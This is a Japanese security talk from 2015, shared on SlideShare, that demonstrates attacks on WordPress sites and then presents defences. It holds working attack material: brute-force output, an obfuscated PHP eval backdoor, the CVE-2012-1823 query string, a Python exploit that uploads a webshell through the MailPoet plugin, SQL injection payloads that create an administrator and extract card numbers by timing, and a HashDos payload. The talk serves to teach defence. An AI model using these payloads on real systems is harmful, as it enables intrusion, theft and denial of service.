SlideShare a Scribd company logo
Webサイトをめぐるセキュリティ状況と効果的な防御方法
~WordPressを題材として~
2015年10月31日
HASH コンサルティング株式会社
代表取締役 徳丸 浩
アジェンダ
• Webサイトへの侵入経路とは
• 怒涛のWordPressサイトへの侵入デモ6連発
– パスワードクラック
– PHPの脆弱性に対する攻撃
– プラグイン脆弱性に対する攻撃
– シンボリックリンク攻撃
– SQLインジェクション攻撃
– JSON HashDos
• 対策の考え方
2
Copyright © 2012-2015 HASH Consulting Corp.
徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
– 技術士(情報工学部門)
– 社員募集中
Copyright © 2012-2015 HASH Consulting Corp.
3
Webサイトへの侵入経路は2種類しかない
• 管理用ツールの認証を突破される
– telnet, FTP, SSH等のパスワードを推測される
– FTP等のパスワードがマルウェア経由で漏洩する
• ソフトウェアの脆弱性を悪用される
– 基盤ソフトウェアの脆弱性を悪用される
• Apache, PHP, JRE(Java), Tomcat, …
• 脆弱性は世界中で調査され、日々新たな脆弱性が報告さ
れる
– アプリケーションの脆弱性を悪用される
• 個別のアプリケーションの脆弱性
• SQLインジェクションなど
Copyright © 2012-2015 HASH Consulting Corp.
4
WordPressの場合の主な侵入経路
• 管理用ツールの認証を突破される
– WordPressのパスワードを推測される
– FTP等のパスワードがマルウェア経由で漏洩する
• PHPの脆弱性
• WordPress本体の脆弱性
• WordPressのプラグインの脆弱性
• カスタマイズ部分の脆弱性
Copyright © 2012-2015 HASH Consulting Corp.
5
今日は全部
やってみます
攻撃を受けるとどうなるか?
• 情報漏洩
– サーバー内の重要情報、個人情報等が外部に漏洩する
– Aさんの情報をBさんが見てしまう事故(別人問題)も漏洩に分
類する
• データ改ざん
– DB、ファイルの書き換え、
– 画面の改変
– スクリプトやiframeを埋め込み、閲覧者がマルウェアに感染
• DoS攻撃
– サービス停止に追い込む
• なりすまし
– 別人になりすまして操作ができる
Copyright © 2012-2015 HASH Consulting Corp.
6
今日は全部
やってみます
管理用ツールの認証を突破される
• WordPressのパスワードを推測される
Copyright © 2012-2015 HASH Consulting Corp.
7
定番ツールWPScanでクラックしてみよう
Copyright © 2012-2015 HASH Consulting Corp.
8
http://wpscan.org/
Copyright © 2012-2015 HASH Consulting Corp.
9
デモ:
• WPScanによるパスワードクラック
[!] Default first WordPress username 'admin' is still used
[+] Starting the password brute forcer
Brute Forcing 'admin' Time: 00:00:11 <====== > (49 / 51) 96.07%
Brute Forcing 'yamada' Time: 00:00:07 <===== > (50 / 51) 98.03%
[+] [SUCCESS] Login : yamada Password : tigger
+----+--------+------+----------+
| Id | Login | Name | Password |
+----+--------+------+----------+
| 1 | admin | | |
| 4 | yamada | | tigger |
+----+--------+------+----------+
PHPの脆弱性
Copyright © 2012-2015 HASH Consulting Corp.
10
ロリポップのサイト改ざん事件(1)
あるサイトの.htaccessが改ざんされていました。
【元】
AddHandler application/x-httpd-php .html
【改ざん】
AddHandler application/x-httpd-php .png
→「pngファイルをphpととして読み込む」的なもの?
そして.htaccessと同じ階層に、「.****.png」という不可解なファイル。
それをファイルとして開いてみると
<?php ($_=$_POST).($_1=’_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>
というコードが記載。なにこれこわい。
※あとファイル更新時間でソートをかけたらindex.bak.phpみたいなファイルがありました(消してしまったのでうろ覚
え)。
11http://www.baka-ke.com/2012/05/16/htaccess-kaizan-png-eval/ より引用
ロリポップのサイト改ざん事件(2)
.htaccess改ざんの件、恐らく完結
.htaccess改ざんの件についての続きです。原因が特定され、解決しているかと思います。
これまでの記事:
.htaccessの改ざんを受けていた
.htaccess改ざんの件、続き
パシ様のブログにて、CGI版PHPの脆弱性ではないかという指摘が出ていました。
WordPressサイトの.htaccessが改ざんされている件 – 謎のindex.bak.php | WP SEOブログ
この攻撃についての手口は下記のページにて書かれています。
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記
今日の昼間自分が発見したアクセスログもまさにこれで、こういうPOSTリクエストがありました。(実際はこれをURL
エンコードしていた)
/?-n+-d+disable_functions=%22%22+-d+safe_mode=0+-d+suhosin.simulation=1+-d+open_basedir=none+-
d+allow_url_include=1+-d+allow_url_fopen=1+-d+auto_prepend_file=php://input
これは上のページにあるCGI版PHPへの脆弱性攻撃そのままで、これで.htaccessを上書きされていたようです。
12http://www.php-zfex.jp/blog/2012/05/23/htaccess-kaizan_3/ より引用
Copyright © 2012-2015 HASH Consulting Corp.
13
デモ:
• CGI版PHPのスクリプト実行可能な脆弱性
CVE-2012-1823により、××ポップを狙った
攻撃を再現
• PNG画像に偽装したPHPスクリプトにより、
JavaScriptファイルを差し替え、サイト閲覧
者にウイルス感染させる
WordPress本体の脆弱性
Copyright © 2012-2015 HASH Consulting Corp.
14
WordPressは他のCMSと比べて
脆弱なのか?
Copyright © 2012-2015 HASH Consulting Corp.
15
そうとは言えない
Copyright © 2012-2015 HASH Consulting Corp.
16
17
http://www.atmarkit.co.jp/ait/articles/1510/30/news069.html より引用
JoomlaのSQLインジェクション
Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」
オープンソースのコンテンツ管理システム(CMS)「Drupal」に極めて深
刻な脆弱(ぜいじゃく)性が見つかった問題で、Drupalは10月29日、脆弱
性修正のパッチを直後に適用しなかったWebサイトは侵入された可能性
があると警告した。米セキュリティ機関のUS-CERTも、アップデートや回
避策の適用を呼びかけている。
問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.xに存在
する。悪用された場合、攻撃者にバックドアを仕掛けられ、サイトの全デー
タをコピーされる恐れがある。攻撃の痕跡は残らない。この脆弱性を修正
した「Drupal 7.32」は10月15日にリリースされた。
Drupalによると、この10月15日の発表の直後から、脆弱性を修正してい
ないWebサイトに対する攻撃が始まった。「すべてのDrupal 7サイトは、世
界協定時間の10月15日午後11時(日本時間16日午前8時)までにアップ
デートまたはパッチを適用していない限り、破られたと想定して対処しなけ
ればならない」とDrupalは警告する。
18http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用
WordPressのプラグインの脆弱性
…は残念ながら多い
Copyright © 2012-2015 HASH Consulting Corp.
19
20
http://www.itmedia.co.jp/enterprise/articles/1407/03/news040.html より引用
JVNDB-2014-003582
WordPress 用 MailPoet Newsletters プラグインにおける認証を回避される脆弱性
概要
WordPress 用 MailPoet Newsletters (wysija-newsletters) プラグインには、認証を回避され、任意
の PHP コードを実行される脆弱性が存在します。
CVSS による深刻度 (CVSS とは?)
• 基本値: 7.5 (危険) [NVD値]
• 攻撃元区分: ネットワーク
• 攻撃条件の複雑さ: 低
• 攻撃前の認証要否: 不要
• 機密性への影響(C): 部分的
• 完全性への影響(I): 部分的
• 可用性への影響(A): 部分的
影響を受けるシステム
MailPoet
• MailPoet Newsletters 2.6.7 未満
想定される影響
第三者により、wp-admin/admin-post.php を使用する巧妙に細工されたテーマをアップロードされ、
wp-content/uploads/wysija/themes/mailp/ 内のテーマにアクセスされることで、認証を回避され、任
意の PHP コードを実行される可能性があります。
21
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-003582.html より引用
巧妙に細工されたテーマ?
Copyright © 2012-2015 HASH Consulting Corp.
22
PoC
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from random import choice
import string
import sys
import re
from zipfile import ZipFile
from StringIO import StringIO
import requests
from colors import red, green, blue # pip install ansicolors
def version_compare(v1, v2):
def normalize(v):
return [int(x) for x in re.sub(r'(.0+)*$', '', v).split(".")]
return cmp(normalize(v1), normalize(v2))
def create_zip_file(theme_name, payload_name, payload):
files = {
"%s/%s" % (theme_name, 'style.css'): '',
"%s/%s" % (theme_name, payload_name): payload
}
zip_file = StringIO()
with ZipFile(zip_file, 'w') as zip:
for path in files:
zip.writestr(path, files[path])
zip_file.seek(0)
return zip_file
def check(url):
readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url
res = requests.get(readme_url, timeout=15, verify=False)
if res.status_code == 200:
match = re.search("stable tag: (.*)[rn]", res.text, re.I)
version = match.group(1)
fun = green if version_compare(version, "2.6.7") < 0 else blue
print fun("[?] found version: %s" % version)
return version_compare(version, "2.6.7") < 0
else:
raise Exception("error getting version")
def exploit(url, payload_data):
theme_name = '.tmp' # better to keep the chaos to one directory.
payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php"
zip_file = create_zip_file(theme_name, payload_name, payload_data)
files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")}
data = {
"action": "themeupload",
"submitter": "Upload",
"overwriteexistingtheme": "on"
}
target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url
payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name,
payload_name)
print blue("[?] attempting to upload zip (%s)..." % target_url)
# Don't rely on checking response, have observed some strange behaviour even with successful
upload
requests.post(target_url, files=files, data=data, verify=False, timeout=15)
print blue("[?] checking upload (%s)..." % payload_url)
response = requests.head(payload_url, verify=False, timeout=15)
if response.status_code == 200:
print green("[+] found: %s" % payload_url)
return payload_url
else:
raise Exception("upload failed.")
if __name__ == "__main__":
if len(sys.argv) > 2:
payload = open(sys.argv[1]).read()
wp_url = sys.argv[2]
try:
if check(wp_url):
res = exploit(wp_url, payload)
if res:
with open("found-sija.log", "a") as log:
log.write("%sn" % res)
except Exception as e:
print red("[!] %s - %s" % (wp_url, e))
23https://github.com/nosecurity/cve-2014-xxxx-mailpoet-newsletters より引用
難しいので、最低限の形に単純化
してみる
Copyright © 2012-2015 HASH Consulting Corp.
24
単純化したら、とても簡単になったw
<body>
<form action="http://suzuki.jp/wp-admin/admin-post.php?
page=xxxxxxxxxxxx&amp;action=xxxxx" method="post"
enctype="multipart/form-data">
<input type="text" name="action" value="xxxxxxxxx">
<input type="text" name="submitter" value="xxxxxxx">
<input type="text" name="xxxxxxxxxxxxx" value="xx">
<input type="file" name="xxxxxxxxx">
<input type="submit" value="攻撃">
</form><br>
</body>
Copyright © 2012-2015 HASH Consulting Corp.
25
要はファイルを
アップロードするだけ
"巧妙に細工したテーマ"はこんな感じ
$ unzip -v exploit.zip
Archive: exploit.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2015-10-06 23:11 00000000 exploit/index.html
0 Stored 0 0% 2015-10-06 23:00 00000000 exploit/screenshot.jpg
674 Defl:N 404 40% 2015-10-10 23:26 ad2aad5f exploit/style.css
0 Stored 0 0% 2015-10-06 23:11 00000000 exploit/index.php
94 Defl:N 82 13% 2015-10-06 23:14 4eba8413 exploit/webshell.php
-------- ------- --- -------
768 486 37% 5 files
$
Copyright © 2012-2015 HASH Consulting Corp.
26
徳丸が最初に作成した
WordPressテーマですw
Copyright © 2012-2015 HASH Consulting Corp.
27
デモ:
• MailPoetプラグインの脆弱性を悪用し
て、WebShellをアップロード
シンボリックリンク攻撃による情報
漏えい
Copyright © 2012-2015 HASH Consulting Corp.
28
Copyright © 2012-2015 HASH Consulting Corp.
29
レンタルサーバーの権限モデル
Copyright © 2012-2015 HASH Consulting Corp.
30
/home/suzuki/
/home/tanaka
rwx-----x
suzuki.LolipopUser
rwx-----x
tanaka.LolipopUser
wp-config.php
Apache
権限:nobody
コマンド
権限:tanaka
コマンド
権限:suzuki
rw----r--
suzuki.LolipopUser
ファイルのオーナー
別のユーザー
Webサーバー
シンボリックリンク攻撃
Copyright © 2012-2015 HASH Consulting Corp.
31
/home/tanaka/
/home/suzuki
rwx-----x
所有者:tanaka
rwx-----x
所有者: suzuki
wp-config.php
rwxrwxrwx
所有者: suzuki
wp-config.txt
Apache
権限:nobody
コマンド
権限:suzuki
コマンド
権限:suzuki
シンボリックリンク
rw----r--
所有者: tanaka
拡張子が.txtなの
でソースが閲覧可
Copyright © 2012-2015 HASH Consulting Corp.
32
デモ:
• 先ほどsuzukiサイトに設置した
WebShellにより、tanakaサイトのwp-
config.phpにシンボリックリンクを設置
• MySQLのパスワードを窃取
• phpMyAdminによりコンテンツを改ざん
シンボリックリンク攻撃のまとめ
• シンボリックリンクは誰でも作成できる
– 権限のないファイルなどにも可能
– ただし、権限のないファイルを読むことはできない
• シンボリックリンクを上位権限を持つプロセス(Apache等)に読み
込ませるのがシンボリックリンク攻撃
• レンタルサーバー運営者はシンボリックリンクを制限すること
– FollowSymLinksの禁止 または
– SymLinksIfOwnerMatch
– ※ Apacheの実装が十分でなく、これは緩和策にしかならない
• レンタルサーバー利用者はファイルパーミッションに注意
– HTMLや画像は604 等
– PHP スクリプトは 600 ← これでシンボリックリンク攻撃は防げる
– CGI スクリプトは 700
Copyright © 2012-2015 HASH Consulting Corp.
33
カスタマイズ部分の脆弱性
Copyright © 2012-2015 HASH Consulting Corp.
34
サイトにキャンペーン応募ページを追加
35
Copyright © 2012-2015 HASH Consulting Corp.
SQLインジェクション脆弱性のあるソース
<?php
$name = $_REQUEST['name'];
$mail = $_REQUEST['mail'];
$address = $_REQUEST['address'];
try {
$con = new PDO("mysql:host=localhost;dbname=db;charset=utf8", …
$con->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql =
"INSERT INTO entries VALUES('$name', '$mail', '$address')";
$result = $con->exec($sql);
} catch (PDOException $e) {
// 何もしない
}
?>
<p>登録しました</p>
Copyright © 2012-2015 HASH Consulting Corp.
36
ここにSQLインジェクション
表示がないので
情報は漏洩しない?
SQLインジェクション攻撃にはプレフィックスとデータベース名が必要
-- ユーザー crack パスワード a のユーザを作成
INSERT INTO wpdb.wp_users VALUES(NULL, 'crack', MD5('a'),
'crack', 'crack@example.jp', '', NOW(), '', 0, 'crack'); #
-- ユーザテストに管理者権限を割当
INSERT INTO wpdb.wp_usermeta SELECT NULL, (SELECT ID FROM
wpdb.wp_users WHERE user_login='crack'), meta_key, meta_value
FROM wpdb.wp_usermeta WHERE user_id=(SELECT user_id FROM
wpdb.wp_usermeta WHERE meta_key='wp_user_level' and
meta_value='10' LIMIT 1); #
プレフィックス wp_ とデータベース名 wpdb を一般的なものから変えれは攻撃
が難しくなると信じられているが…
これらもSQLインジェクション攻撃で盗むことができる!
Copyright © 2012-2015 HASH Consulting Corp.
37
時間差を利用して情報を盗む(Time based SQLi)
• sleep関数で 5秒待ち合わせ
INSERT INTO entries VALUES('', (SELECT sleep(5)), null) -- ', '', '')
• eccube_db.dtb_customer_cardテーブル1行目のcardnumber
列1文字目が 5 の場合のみ5秒待つ
INSERT INTO entries VALUES('',(select if(substr((select
cardnumber from eccube_db.dtb_customer_card limit
0,1),1,1) = '1',sleep(5),0)), null) -- ','')
• これを繰り返すことにより、ECサイトのカード情報を求められる
Copyright © 2012-2015 HASH Consulting Corp.
38
続きはデモで
参考: http://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html
Copyright © 2012-2015 HASH Consulting Corp.
39
デモ:
• Time based SQLインジェクションにより、
WordPressのデータベース名とプレ
フィックスを盗む
• SQLインジェクション攻撃により、新しい
ユーザとロールを作成
• 作成した管理者ユーザでログイン
One more thing…
Copyright © 2012-2015 HASH Consulting Corp.
40
41
http://blog.hash-c.co.jp/2015/10/phpjson-hashdos.html より引用
json_decodeの入力値でハッシュコリジョンを発生
$body = file_get_contents('php://input'); // POSTデータを取得
$params = json_decode($body); // POSTデータをJSONと
してデコード
PoC: {"4vq":"key1", "4wP":"key2", "5Uq":"key3", "5VP":"key4",
"64q":"key5" … }
hash('4vq') = b879fc0
hash('4wP') = b879fc0
hash('5Uq') = b879fc0
hash('5VP') = b879fc0
hash('64q') = b879fc0
…
Copyright © 2012-2015 HASH Consulting Corp.
42
Copyright © 2012-2015 HASH Consulting Corp.
43
デモ:
• WordPress 3.8までに存在したJSON
HashDos可能なファイルを攻撃して、
サイトをアクセス不能にする
• WordPress 3.9以降にはこのファイル
はありません
対策の考え方
44
Copyright © 2012-2015 HASH Consulting Corp.
パスワード! パスワード! パスワード!
• 極論するとユーザ名は"admin"でもよい
– adminだと自動攻撃に狙われるのでウザいということ
はある
• とにかくパスワードをちゃんとすることが重要
– 8文字以上
– 英数字を混ぜる
– 辞書に載っている単独はだめ
– できればランダム文字列
– 他所で使ってないもの 【重要】
– 管理者が複数存在する場合は、管理者毎にユー
ザーを作成する
Copyright © 2012-2015 HASH Consulting Corp.
45
ソフトウェアのバージョンアップまたはパッチ適用
• 脆弱性対処は、バージョンアップまたはパッチ適
用が基本
– 自らビルド等している場合はバージョンアップが楽な
場合が多い
– CentOS、Debian、Ubuntu等のディストリビューショ
ンのパッケージを導入している場合はパッチ適用
• バージョンアップするとサイトが動かなくなる…な
んて心配をしないで、とにかくバージョンアップす
ること
• 自力でトラブル対処ができないソフトは導入しな
いこと
Copyright © 2012-2015 HASH Consulting Corp.
46
SiteGuard WP Pluginのすすめ
Copyright © 2012-2015 HASH Consulting Corp.
47
https://wordpress.org/plugins/siteguard/
• SiteGuard の不正ログイン防止に特化したプラグイン
• 簡単に導入できて効果が高い
• プラグイン自体の脆弱性対策がなされている(重要)
WAF(Web Application Firewall)
48情報処理推進機構(IPA) WAF読本より引用
SiteGuard WP PluginとWAFで何が防御できる?
SiteGuard WP Plugin WAF
パスワード辞書攻撃 ◎ ○
PHP-CGI ◎
MailPoet アップロードバグ ◎
シンボリックリンク攻撃
SQLインジェクション ◎
JSON HashDos ○
Copyright © 2012-2015 HASH Consulting Corp.
49
SQLインジェクションは絶対だめ
• 対策は、とにかくプレースホルダを使うこと
• 外部入力をSQL文に混ぜない
• WordPressの場合
– $wpdb->prepare('SELECT * … WHERE
user_login = %s', $username);
• ピュアPHPの場合
– PDOを使う
– プレースホルダ
– DB接続時に文字エンコーディング指定を忘れない
– バインド時に型を指定する
Copyright © 2012-2015 HASH Consulting Corp.
50
どんなサーバーを借りたらよいか?
Copyright © 2012-2015 HASH Consulting Corp.
51
セキュリティ対策 IaaS/VPS PaaS/レンサバ SaaS
WAF 利用者 (事業者) -
PHP/Apache 利用者 事業者 事業者
WordPress 利用者 利用者 事業者
プラグイン 利用者 利用者 事業者
カスタマイズ部分 利用者 利用者 -
パスワード 利用者 利用者 利用者
• IaaSやVPSは利用者が「全て」の対応をする必要がある
• PaaSやレンタルサーバーはインフラの面倒は見てくれる
• SaaSの場合、パスワードさえしっかり管理すれば
サーバーはどれがいいの?
• 一番良いのはWordPressを自分で建てない
• レンタルサーバーは意外に良い
– パッチ適用をやってくれる
– 最近のレンサバはWAFがついてくる
• VPSやIaaSを使うのなら相応の"覚悟"を
– パッチは全部自分であてる
– WAFは…
Copyright © 2012-2015 HASH Consulting Corp.
52
Copyright © 2012-2015 HASH Consulting Corp.
53
まとめ
• WordPressを題材として、Webサイトへの不正ア
クセスの手法を紹介
– 不正ログイン
– プラットフォーム(PHP等)の脆弱性の悪用
– オープンソースのアプリケーションの脆弱性の悪用
– 自作カスタマイズ部分の脆弱性の悪用
• 不正ログイン対策は、とにかく良質のパスワード
をつけること
• 脆弱性対策は、パッチ適用かバージョンアップ
• 自作アプリケーションの脆弱性対応

More Related Content

Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)